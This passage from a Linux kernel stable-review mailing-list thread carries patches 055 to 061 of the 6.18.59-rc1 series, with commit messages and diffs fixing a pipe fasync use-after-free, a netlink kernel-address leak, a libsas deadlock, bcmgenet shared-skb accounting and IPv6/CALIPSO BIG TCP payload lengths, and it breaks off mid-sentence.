2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (53 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 054/193] samples: pidfd: fix userprogs typo Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 056/193] tracing: probes: error if BTF is required but unavailable Greg Kroah-Hartman
` (148 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Kyle Zeng,
Christian Brauner (Amutable), Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Kyle Zeng <kylebot@openai.com>
[ Upstream commit 40bb03d3ea6f6a915218508819ecc4d7a7fa260d ]
F_SETFL and FIOASYNC decide whether to invoke ->fasync() before
pipe_fasync() takes pipe->mutex. Two enables of one O_RDWR FIFO can
therefore both enter the callback.
fasync_helper() allocates before checking for an existing entry. If the
first enable installs both entries, a second enable can update the
reader entry and then fail the allocation for the writer entry. The
error path removes the pre-existing reader entry, clearing FASYNC while
the writer entry remains registered. __fput() then skips ->fasync(), so a
later pipe notification can dereference the freed file or its f_owner.
An unprivileged memory-pressure reproducer triggers a KASAN
slab-use-after-free in send_sigio() through this path.
Keep the reader helper's result and undo the registration only if this
call added it. The pipe mutex serializes changes to both lists, so a
failed new registration still removes its reader, while a failed
duplicate preserves the existing registrations and FASYNC. Successful
duplicate enables continue to update fa_fd as before.
Fixes: 76398425bb06 ("Move FASYNC bit handling to f_op->fasync()")
Signed-off-by: Kyle Zeng <kylebot@openai.com>
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
fs/pipe.c | 6 ++++--
1 file changed, 4 insertions(+), 2 deletions(-)
diff --git a/fs/pipe.c b/fs/pipe.c
index 42fead1efe520..ec1742bad3e79 100644
--- a/fs/pipe.c
+++ b/fs/pipe.c
@@ -755,9 +755,11 @@ pipe_fasync(int fd, struct file *filp, int on)
if (filp->f_mode & FMODE_READ)
retval = fasync_helper(fd, filp, on, &pipe->fasync_readers);
if ((filp->f_mode & FMODE_WRITE) && retval >= 0) {
+ int read_ret = retval;
+
retval = fasync_helper(fd, filp, on, &pipe->fasync_writers);
- if (retval < 0 && (filp->f_mode & FMODE_READ))
- /* this can happen only if on == T */
+ /* Undo only a reader entry added by this call. */
+ if (retval < 0 && read_ret > 0)
fasync_helper(-1, filp, 0, &pipe->fasync_readers);
}
mutex_unlock(&pipe->mutex);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 056/193] tracing: probes: error if BTF is required but unavailable
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (54 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 055/193] pipe: preserve existing fasync readers on writer setup failure Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 057/193] scsi: libsas: Fix SMP IO deadlock during HA resume Greg Kroah-Hartman
` (147 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Martin Kaiser, Steven Rostedt,
Masami Hiramatsu (Google), Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Martin Kaiser <martin@kaiser.cx>
[ Upstream commit 66c658033d842bb75f81f20aaa4a378fe47be1a1 ]
traceprobe_expand_meta_args expands probe arguments based on BTF info.
Return an error if we have arguments that need expanding but BTF is not
supported.
The params variable is now unused, it can be removed.
Link: https://lore.kernel.org/all/20261014083838.31020-1-martin@kaiser.cx/
Fixes: d157d7694460 ("tracing/probes: Support BTF field access from $retval")
Signed-off-by: Martin Kaiser <martin@kaiser.cx>
Reviewed-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Masami Hiramatsu (Google) <mhiramat@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
kernel/trace/trace_probe.c | 3 +--
1 file changed, 1 insertion(+), 2 deletions(-)
diff --git a/kernel/trace/trace_probe.c b/kernel/trace/trace_probe.c
index a0fe68cff4d33..7202fb4aced1a 100644
--- a/kernel/trace/trace_probe.c
+++ b/kernel/trace/trace_probe.c
@@ -1847,7 +1847,6 @@ const char **traceprobe_expand_meta_args(int argc, const char *argv[],
int *new_argc, char *buf, int bufsize,
struct traceprobe_parse_context *ctx)
{
- const struct btf_param *params = NULL;
int i, j, n, used, ret, args_idx = -1;
const char **new_argv __free(kfree) = NULL;
@@ -1865,7 +1864,7 @@ const char **traceprobe_expand_meta_args(int argc, const char *argv[],
if (args_idx != -1) {
/* $arg* requires BTF info */
trace_probe_log_err(0, NOSUP_BTFARG);
- return (const char **)params;
+ return ERR_PTR(-EOPNOTSUPP);
}
*new_argc = argc;
return NULL;
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 057/193] scsi: libsas: Fix SMP IO deadlock during HA resume
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (55 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 056/193] tracing: probes: error if BTF is required but unavailable Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 058/193] netlink: avoid hashing the network namespace pointer Greg Kroah-Hartman
` (146 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Xingui Yang, John Garry,
Martin K. Petersen (Oracle), Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Xingui Yang <yangxingui@huawei.com>
[ Upstream commit 81e097a064b28b4a1f6ca1a8b433e659c1bd64c0 ]
smp_execute_task_sg() calls pm_runtime_get_sync() on the host before
issuing an SMP command. When that command is itself issued from the HA
resume path, the get_sync() deadlocks: it waits for the ongoing resume
(the device is RPM_RESUMING), while the resume is blocked in
sas_drain_work() waiting for that same SMP IO to complete.
The deadlock needs an expander-attached SATA disk. During
sas_resume_ha() -> sas_drain_work(), DISCE_RESUME -> sas_resume_sata()
-> ata_sas_port_resume() requests ATA_EH_RESET, and the hard reset for
such a disk is done via SMP PHY CONTROL (sas_ata_hard_reset() ->
sas_phy_reset() -> sas_smp_phy_control() ->
smp_execute_task_sg()). Direct-attached SATA resets through
lldd_control_phy() and SSP devices use TMFs, so neither hits this.
Replace the get_sync()/put_sync() pair with
pm_runtime_get_noresume()/pm_runtime_put(). smp_execute_task_sg() only
needs to hold off autosuspend while the SMP is in flight, and it must
not try to resume the host: a sync resume issued from the HA resume path
itself is what deadlocks, and by the time sas_resume_ha() runs, hw_init
has already reinitialized the hardware, so the device is accessible
without one.
The usage reference is still required. Discovery work normally runs
inside an event worker's PM reference, taken at sas_notify_port_event()
notify time and held until the handler has flushed the disco
queue. sas_rediscover_ex_phy() however requeues DISCE_REVALIDATE_DOMAIN
from within the revalidation worker itself, and flush_workqueue() does
not wait for work items queued during execution, so that chained
revalidation runs with no outer PM reference - without the
get_noresume(), its SMP could race autosuspend.
For the BSG path, sas_smp_handler() is the only caller which may find
the host autosuspended: expander SMP requests do not go through any SCSI
device request queue, so nothing else in that path holds the host
awake. Resume it there with pm_runtime_resume_and_get() and check the
result.
Fixes: 3dbbbf656b850 ("scsi: libsas: Fix HA resume deadlock and hisi_sas disk-wake race")
Signed-off-by: Xingui Yang <yangxingui@huawei.com>
Reviewed-by: John Garry <john.garry@linux.dev>
Link: https://patch.msgid.link/20260928040234.992912-1-yangxingui@huawei.com
Signed-off-by: Martin K. Petersen (Oracle) <mkp@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/scsi/libsas/sas_expander.c | 14 ++++++++++++--
1 file changed, 12 insertions(+), 2 deletions(-)
diff --git a/drivers/scsi/libsas/sas_expander.c b/drivers/scsi/libsas/sas_expander.c
index d953225f6cc24..c9a7a55a5917f 100644
--- a/drivers/scsi/libsas/sas_expander.c
+++ b/drivers/scsi/libsas/sas_expander.c
@@ -62,7 +62,11 @@ static int smp_execute_task_sg(struct domain_device *dev,
to_sas_internal(dev->port->ha->shost->transportt);
struct sas_ha_struct *ha = dev->port->ha;
- pm_runtime_get_sync(ha->dev);
+ /*
+ * Non-blocking: a sync resume here would deadlock against
+ * sas_drain_work() during HA resume.
+ */
+ pm_runtime_get_noresume(ha->dev);
mutex_lock(&dev->ex_dev.cmd_mutex);
for (retry = 0; retry < 3; retry++) {
if (test_bit(SAS_DEV_GONE, &dev->state)) {
@@ -135,7 +139,7 @@ static int smp_execute_task_sg(struct domain_device *dev,
}
}
mutex_unlock(&dev->ex_dev.cmd_mutex);
- pm_runtime_put_sync(ha->dev);
+ pm_runtime_put(ha->dev);
BUG_ON(retry == 3 && task != NULL);
sas_free_task(task);
@@ -2162,6 +2166,11 @@ void sas_smp_handler(struct bsg_job *job, struct Scsi_Host *shost,
goto out;
}
+ /* The host may have autosuspended, resume it here. */
+ ret = pm_runtime_resume_and_get(dev->port->ha->dev);
+ if (ret)
+ goto out;
+
ret = smp_execute_task_sg(dev, job->request_payload.sg_list,
job->reply_payload.sg_list);
if (ret >= 0) {
@@ -2169,6 +2178,7 @@ void sas_smp_handler(struct bsg_job *job, struct Scsi_Host *shost,
rcvlen = job->reply_payload.payload_len - ret;
ret = 0;
}
+ pm_runtime_put(dev->port->ha->dev);
out:
bsg_job_done(job, ret, rcvlen);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 058/193] netlink: avoid hashing the network namespace pointer
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (56 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 057/193] scsi: libsas: Fix SMP IO deadlock during HA resume Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 059/193] net: bcmgenet: unshare the skb before writing the control block Greg Kroah-Hartman
` (145 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Kyle Zeng, Simon Horman,
Eric Dumazet, Paolo Abeni, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Kyle Zeng <kylebot@openai.com>
[ Upstream commit f88bb3606e4bd11ee035b682cddc2999e604609a ]
The netlink rhashtable key includes a raw struct net pointer and a
user-controlled port ID. Both /proc/net/netlink and socket diagnostics
expose the table's bucket order. By binding and rebinding chosen
NETLINK_USERSOCK port IDs, an unprivileged reader can distinguish equal
buckets and recover the low bits of the Jenkins hash. Its 32-bit seed
and the limited set of kernel-image slides can then be searched offline
to recover the address of init_net.
Use the namespace's unique, non-address net_cookie in the comparison
key instead. It is assigned before the per-net initializers run and
remains unchanged for the namespace's lifetime. The lookup key and
object hash are still built by netlink_compare_arg_init(), keeping
lookup, insertion, removal and rehashing consistent while preserving
namespace separation. Neither public table walker needs to change.
Reading the socket's namespace cookie in netlink_compare() is safe
under RCU, including during namespace teardown. netlink_release()
removes the socket from the hash table and defers its final put with
call_rcu(). cleanup_net() runs the per-net exit methods and waits for
outstanding RCU callbacks with rcu_barrier() before freeing namespace
storage.
Unlike ns.ns_id, net_cookie is also available and initialized during
setup_net() in older stable kernels, making the change straightforward
to backport to v5.15 and later.
Fixes: c428ecd1a21f ("netlink: Move namespace into hash key")
Assisted-by: LLM
Signed-off-by: Kyle Zeng <kylebot@openai.com>
Reviewed-by: Simon Horman <horms@kernel.org>
Reviewed-by: Eric Dumazet <edumazet@kernel.org>
Link: https://patch.msgid.link/20261008011359.63727-2-kylebot@openai.com
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
net/netlink/af_netlink.c | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/net/netlink/af_netlink.c b/net/netlink/af_netlink.c
index c41fef11e518f..6c0aabca5dbad 100644
--- a/net/netlink/af_netlink.c
+++ b/net/netlink/af_netlink.c
@@ -463,7 +463,7 @@ netlink_unlock_table(void)
struct netlink_compare_arg
{
- possible_net_t pnet;
+ u64 net_cookie;
u32 portid;
};
@@ -478,14 +478,14 @@ static inline int netlink_compare(struct rhashtable_compare_arg *arg,
const struct netlink_sock *nlk = ptr;
return nlk->portid != x->portid ||
- !net_eq(sock_net(&nlk->sk), read_pnet(&x->pnet));
+ sock_net(&nlk->sk)->net_cookie != x->net_cookie;
}
static void netlink_compare_arg_init(struct netlink_compare_arg *arg,
struct net *net, u32 portid)
{
memset(arg, 0, sizeof(*arg));
- write_pnet(&arg->pnet, net);
+ arg->net_cookie = net->net_cookie;
arg->portid = portid;
}
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 059/193] net: bcmgenet: unshare the skb before writing the control block
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (57 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 058/193] netlink: avoid hashing the network namespace pointer Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 060/193] net/ipv6: Introduce payload_len helpers Greg Kroah-Hartman
` (144 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Nicolai Buchwitz, Florian Fainelli,
Paolo Abeni, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Nicolai Buchwitz <nb@tipi-net.de>
[ Upstream commit 89771ce4f8f67dcffae561b2ccac95c0f6e3aa01 ]
bcmgenet stores first_cb, last_cb and bytes_sent in the skb control
block and reads them back on completion to free the skb and credit BQL.
ether_setup() leaves IFF_TX_SKB_SHARING set, so the stack can resubmit
a shared skb that is still in the ring. The next transmit overwrites
last_cb, so the earlier slots complete without crediting their bytes
and BQL stalls the queue until the watchdog resets it.
Unshare the skb before writing the control block.
Reproduce with pktgen in clone_skb mode, which hands the driver the same
skb while earlier copies are still in the ring:
modprobe pktgen
pg=/proc/net/pktgen
echo "add_device eth0" > $pg/kpktgend_0
echo "dst_mac AA:BB:CC:DD:EE:FF" > $pg/eth0
echo "dst 192.0.2.1" > $pg/eth0
echo "clone_skb 8" > $pg/eth0
echo "count 0" > $pg/eth0
echo start > $pg/pgctrl &
sleep 5
echo stop > $pg/pgctrl
wait
cat /sys/class/net/eth0/queues/tx-0/byte_queue_limits/inflight
inflight stays nonzero on the now idle queue. clone_skb 0 leaves it at
zero.
Fixes: f48bed16a756 ("net: bcmgenet: Free skb after last Tx frag")
Signed-off-by: Nicolai Buchwitz <nb@tipi-net.de>
Reviewed-by: Florian Fainelli <florian.fainelli@broadcom.com>
Link: https://patch.msgid.link/20261009-nb-genet-shared-skb-net-v1-1-c6d0a841977d@tipi-net.de
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/net/ethernet/broadcom/genet/bcmgenet.c | 10 ++++++++++
1 file changed, 10 insertions(+)
diff --git a/drivers/net/ethernet/broadcom/genet/bcmgenet.c b/drivers/net/ethernet/broadcom/genet/bcmgenet.c
index 5a891cf59f108..75bfd74b391b3 100644
--- a/drivers/net/ethernet/broadcom/genet/bcmgenet.c
+++ b/drivers/net/ethernet/broadcom/genet/bcmgenet.c
@@ -2149,6 +2149,16 @@ static netdev_tx_t bcmgenet_xmit(struct sk_buff *skb, struct net_device *dev)
goto out;
}
+ /* We store Tx state in the control block, so the skb must not be
+ * shared, but ether_setup() leaves IFF_TX_SKB_SHARING set.
+ */
+ skb = skb_share_check(skb, GFP_ATOMIC);
+ if (!skb) {
+ BCMGENET_STATS64_INC((&ring->stats64), dropped);
+ ret = NETDEV_TX_OK;
+ goto out;
+ }
+
/* Retain how many bytes will be sent on the wire, without TSB inserted
* by transmit checksum offload
*/
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 060/193] net/ipv6: Introduce payload_len helpers
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (58 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 059/193] net: bcmgenet: unshare the skb before writing the control block Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 061/193] calipso: keep BIG TCP payload_len in calipso_skbuff_setattr() Greg Kroah-Hartman
` (143 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Alice Mikityanska, Paolo Abeni,
Eric Dumazet, Jakub Kicinski, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Alice Mikityanska <alice@isovalent.com>
[ Upstream commit b2936b4fd56294e49d6c8e9152ea6c4982757c7d ]
The next commits will transition away from using the hop-by-hop
extension header to encode packet length for BIG TCP. Add wrappers
around ip6->payload_len that return the actual value if it's non-zero,
and calculate it from skb->len if payload_len is set to zero (and a
symmetrical setter).
The new helpers are used wherever the surrounding code supports the
hop-by-hop jumbo header for BIG TCP IPv6, or the corresponding IPv4 code
uses skb_ip_totlen (e.g., in include/net/netfilter/nf_tables_ipv6.h).
No behavioral change in this commit.
Signed-off-by: Alice Mikityanska <alice@isovalent.com>
Acked-by: Paolo Abeni <pabeni@redhat.com>
Reviewed-by: Eric Dumazet <edumazet@google.com>
Link: https://patch.msgid.link/20260205133925.526371-2-alice.kernel@fastmail.im
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
Stable-dep-of: 8070ed578b6b ("calipso: keep BIG TCP payload_len in calipso_skbuff_setattr()")
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
include/linux/ipv6.h | 22 ++++++++++++++++++++++
include/net/ipv6.h | 2 --
include/net/netfilter/nf_tables_ipv6.h | 4 ++--
net/bridge/br_netfilter_ipv6.c | 2 +-
net/bridge/netfilter/nf_conntrack_bridge.c | 4 ++--
net/ipv6/ip6_input.c | 2 +-
net/ipv6/ip6_offload.c | 7 +++----
net/ipv6/output_core.c | 7 +------
net/netfilter/ipvs/ip_vs_xmit.c | 2 +-
net/netfilter/nf_conntrack_ovs.c | 2 +-
net/netfilter/nf_log_syslog.c | 2 +-
net/sched/sch_cake.c | 2 +-
12 files changed, 36 insertions(+), 22 deletions(-)
diff --git a/include/linux/ipv6.h b/include/linux/ipv6.h
index 7294e4e89b797..c5541096a2867 100644
--- a/include/linux/ipv6.h
+++ b/include/linux/ipv6.h
@@ -126,6 +126,28 @@ static inline unsigned int ipv6_transport_len(const struct sk_buff *skb)
skb_network_header_len(skb);
}
+static inline unsigned int
+ipv6_payload_len(const struct sk_buff *skb, const struct ipv6hdr *ip6)
+{
+ u32 len = ntohs(ip6->payload_len);
+
+ return (len || !skb_is_gso(skb) || !skb_is_gso_tcp(skb)) ?
+ len :
+ skb->len - skb_network_offset(skb) - sizeof(struct ipv6hdr);
+}
+
+static inline unsigned int skb_ipv6_payload_len(const struct sk_buff *skb)
+{
+ return ipv6_payload_len(skb, ipv6_hdr(skb));
+}
+
+#define IPV6_MAXPLEN 65535
+
+static inline void ipv6_set_payload_len(struct ipv6hdr *ip6, unsigned int len)
+{
+ ip6->payload_len = len <= IPV6_MAXPLEN ? htons(len) : 0;
+}
+
/*
This structure contains results of exthdrs parsing
as offsets from skb->nh.
diff --git a/include/net/ipv6.h b/include/net/ipv6.h
index cd798f3569cbb..b03467b337f4f 100644
--- a/include/net/ipv6.h
+++ b/include/net/ipv6.h
@@ -25,8 +25,6 @@ struct ip_tunnel_info;
#define SIN6_LEN_RFC2133 24
-#define IPV6_MAXPLEN 65535
-
/*
* NextHeader field of IPv6 header
*/
diff --git a/include/net/netfilter/nf_tables_ipv6.h b/include/net/netfilter/nf_tables_ipv6.h
index a0633eeaec977..c53ac00bb974d 100644
--- a/include/net/netfilter/nf_tables_ipv6.h
+++ b/include/net/netfilter/nf_tables_ipv6.h
@@ -42,7 +42,7 @@ static inline int __nft_set_pktinfo_ipv6_validate(struct nft_pktinfo *pkt)
if (ip6h->version != 6)
return -1;
- pkt_len = ntohs(ip6h->payload_len);
+ pkt_len = ipv6_payload_len(pkt->skb, ip6h);
skb_len = pkt->skb->len - skb_network_offset(pkt->skb);
if (pkt_len + sizeof(*ip6h) > skb_len)
return -1;
@@ -86,7 +86,7 @@ static inline int nft_set_pktinfo_ipv6_ingress(struct nft_pktinfo *pkt)
if (ip6h->version != 6)
goto inhdr_error;
- pkt_len = ntohs(ip6h->payload_len);
+ pkt_len = ipv6_payload_len(pkt->skb, ip6h);
if (pkt_len + sizeof(*ip6h) > pkt->skb->len) {
idev = __in6_dev_get(nft_in(pkt));
__IP6_INC_STATS(nft_net(pkt), idev, IPSTATS_MIB_INTRUNCATEDPKTS);
diff --git a/net/bridge/br_netfilter_ipv6.c b/net/bridge/br_netfilter_ipv6.c
index e0421eaa3abc7..76ce70b4e7f3b 100644
--- a/net/bridge/br_netfilter_ipv6.c
+++ b/net/bridge/br_netfilter_ipv6.c
@@ -58,7 +58,7 @@ int br_validate_ipv6(struct net *net, struct sk_buff *skb)
if (hdr->version != 6)
goto inhdr_error;
- pkt_len = ntohs(hdr->payload_len);
+ pkt_len = ipv6_payload_len(skb, hdr);
if (hdr->nexthdr == NEXTHDR_HOP && nf_ip6_check_hbh_len(skb, &pkt_len))
goto drop;
diff --git a/net/bridge/netfilter/nf_conntrack_bridge.c b/net/bridge/netfilter/nf_conntrack_bridge.c
index cfa8091102426..b17962672ebfc 100644
--- a/net/bridge/netfilter/nf_conntrack_bridge.c
+++ b/net/bridge/netfilter/nf_conntrack_bridge.c
@@ -234,7 +234,7 @@ static int nf_ct_br_ipv6_check(const struct sk_buff *skb)
if (hdr->version != 6)
return -1;
- len = ntohs(hdr->payload_len) + sizeof(struct ipv6hdr) + nhoff;
+ len = ipv6_payload_len(skb, hdr) + sizeof(struct ipv6hdr) + nhoff;
if (skb->len < len)
return -1;
@@ -274,7 +274,7 @@ static unsigned int nf_ct_bridge_pre(void *priv, struct sk_buff *skb,
if (!pskb_may_pull(skb, sizeof(struct ipv6hdr)))
return NF_ACCEPT;
- len = sizeof(struct ipv6hdr) + ntohs(ipv6_hdr(skb)->payload_len);
+ len = sizeof(struct ipv6hdr) + skb_ipv6_payload_len(skb);
if (pskb_trim_rcsum(skb, len))
return NF_ACCEPT;
diff --git a/net/ipv6/ip6_input.c b/net/ipv6/ip6_input.c
index b59b2b119a1cc..673c6f0ce617d 100644
--- a/net/ipv6/ip6_input.c
+++ b/net/ipv6/ip6_input.c
@@ -262,7 +262,7 @@ static struct sk_buff *ip6_rcv_core(struct sk_buff *skb, struct net_device *dev,
skb->transport_header = skb->network_header + sizeof(*hdr);
IP6CB(skb)->nhoff = offsetof(struct ipv6hdr, nexthdr);
- pkt_len = ntohs(hdr->payload_len);
+ pkt_len = ipv6_payload_len(skb, hdr);
/* pkt_len may be zero if Jumbo payload option is present */
if (pkt_len || hdr->nexthdr != NEXTHDR_HOP) {
diff --git a/net/ipv6/ip6_offload.c b/net/ipv6/ip6_offload.c
index fce91183797a6..6762ce7909c8a 100644
--- a/net/ipv6/ip6_offload.c
+++ b/net/ipv6/ip6_offload.c
@@ -372,12 +372,11 @@ INDIRECT_CALLABLE_SCOPE int ipv6_gro_complete(struct sk_buff *skb, int nhoff)
hop_jumbo->jumbo_payload_len = htonl(payload_len + hoplen);
iph->nexthdr = NEXTHDR_HOP;
- iph->payload_len = 0;
- } else {
- iph = (struct ipv6hdr *)(skb->data + nhoff);
- iph->payload_len = htons(payload_len);
}
+ iph = (struct ipv6hdr *)(skb->data + nhoff);
+ ipv6_set_payload_len(iph, payload_len);
+
nhoff += sizeof(*iph) + ipv6_exthdrs_len(iph, &ops);
if (WARN_ON(!ops || !ops->callbacks.gro_complete))
goto out;
diff --git a/net/ipv6/output_core.c b/net/ipv6/output_core.c
index 1c9b283a4132d..cba1684a3f30f 100644
--- a/net/ipv6/output_core.c
+++ b/net/ipv6/output_core.c
@@ -125,12 +125,7 @@ EXPORT_SYMBOL(ip6_dst_hoplimit);
int __ip6_local_out(struct net *net, struct sock *sk, struct sk_buff *skb)
{
- int len;
-
- len = skb->len - sizeof(struct ipv6hdr);
- if (len > IPV6_MAXPLEN)
- len = 0;
- ipv6_hdr(skb)->payload_len = htons(len);
+ ipv6_set_payload_len(ipv6_hdr(skb), skb->len - sizeof(struct ipv6hdr));
IP6CB(skb)->nhoff = offsetof(struct ipv6hdr, nexthdr);
/* if egress device is enslaved to an L3 master device pass the
diff --git a/net/netfilter/ipvs/ip_vs_xmit.c b/net/netfilter/ipvs/ip_vs_xmit.c
index fa66e31685504..9d92e92a966cb 100644
--- a/net/netfilter/ipvs/ip_vs_xmit.c
+++ b/net/netfilter/ipvs/ip_vs_xmit.c
@@ -985,7 +985,7 @@ ip_vs_prepare_tunneled_skb(struct sk_buff *skb, int skb_af,
*next_protocol = IPPROTO_IPV6;
if (payload_len)
*payload_len =
- ntohs(old_ipv6h->payload_len) +
+ ipv6_payload_len(skb, old_ipv6h) +
sizeof(*old_ipv6h);
old_dsfield = ipv6_get_dsfield(old_ipv6h);
*ttl = old_ipv6h->hop_limit;
diff --git a/net/netfilter/nf_conntrack_ovs.c b/net/netfilter/nf_conntrack_ovs.c
index 068e9489e1c27..a6988eeb15797 100644
--- a/net/netfilter/nf_conntrack_ovs.c
+++ b/net/netfilter/nf_conntrack_ovs.c
@@ -121,7 +121,7 @@ int nf_ct_skb_network_trim(struct sk_buff *skb, int family)
len = skb_ip_totlen(skb);
break;
case NFPROTO_IPV6:
- len = ntohs(ipv6_hdr(skb)->payload_len);
+ len = skb_ipv6_payload_len(skb);
if (ipv6_hdr(skb)->nexthdr == NEXTHDR_HOP) {
int err = nf_ip6_check_hbh_len(skb, &len);
diff --git a/net/netfilter/nf_log_syslog.c b/net/netfilter/nf_log_syslog.c
index 6782c72bcfc26..f368e090e6450 100644
--- a/net/netfilter/nf_log_syslog.c
+++ b/net/netfilter/nf_log_syslog.c
@@ -564,7 +564,7 @@ dump_ipv6_packet(struct net *net, struct nf_log_buf *m,
/* Max length: 44 "LEN=65535 TC=255 HOPLIMIT=255 FLOWLBL=FFFFF " */
nf_log_buf_add(m, "LEN=%zu TC=%u HOPLIMIT=%u FLOWLBL=%u ",
- ntohs(ih->payload_len) + sizeof(struct ipv6hdr),
+ ipv6_payload_len(skb, ih) + sizeof(struct ipv6hdr),
(ntohl(*(__be32 *)ih) & 0x0ff00000) >> 20,
ih->hop_limit,
(ntohl(*(__be32 *)ih) & 0x000fffff));
diff --git a/net/sched/sch_cake.c b/net/sched/sch_cake.c
index 0e7007c545e8a..9e89300d5aa22 100644
--- a/net/sched/sch_cake.c
+++ b/net/sched/sch_cake.c
@@ -1266,7 +1266,7 @@ static struct sk_buff *cake_ack_filter(struct cake_sched_data *q,
ipv6_addr_cmp(&ipv6h_check->daddr, &ipv6h->daddr))
continue;
- seglen = ntohs(ipv6h_check->payload_len);
+ seglen = ipv6_payload_len(skb, ipv6h_check);
} else {
continue;
}
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 061/193] calipso: keep BIG TCP payload_len in calipso_skbuff_setattr()
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (59 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 060/193] net/ipv6: Introduce payload_len helpers Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 062/193] gpiolib: fix memory leak in gpiod_set_array_value_complex() on error paths Greg Kroah-Hartman
` (142 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Eric Dumazet, Wang Zhan,
Joas Antonio dos Santos, Paul Moore, Paolo Abeni, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Joas Antonio dos Santos <joasantonio108@gmail.com>
[ Upstream commit 8070ed578b6b9134e045627fb745c887a806d46e ]
calipso_skbuff_setattr() adjusts payload_len by the length of the
option it inserts or resizes:
payload = ntohs(ip6_hdr->payload_len);
ip6_hdr->payload_len = htons(payload + len_delta);
GRO can build BIG TCP packets larger than IPV6_MAXPLEN, and stores
payload_len == 0 for them; ipv6_payload_len() then falls back to
skb->len. For such a packet forwarded to a destination mapped to
CALIPSO, the code above writes len_delta (or 65536 + len_delta when
shrinking) into payload_len, and ipv6_payload_len() no longer falls
back to skb->len. nf_tables, conntrack and sch_cake rely on it.
The same arithmetic also wraps when a packet grows past IPV6_MAXPLEN,
and a BIG TCP packet that shrinks below IPV6_MAXPLEN should get its
real length back.
Set payload_len from the skb length with ipv6_set_payload_len(), which
stores 0 above IPV6_MAXPLEN and the real length otherwise, as
ipv6_gro_complete() does. The network header was just reset to
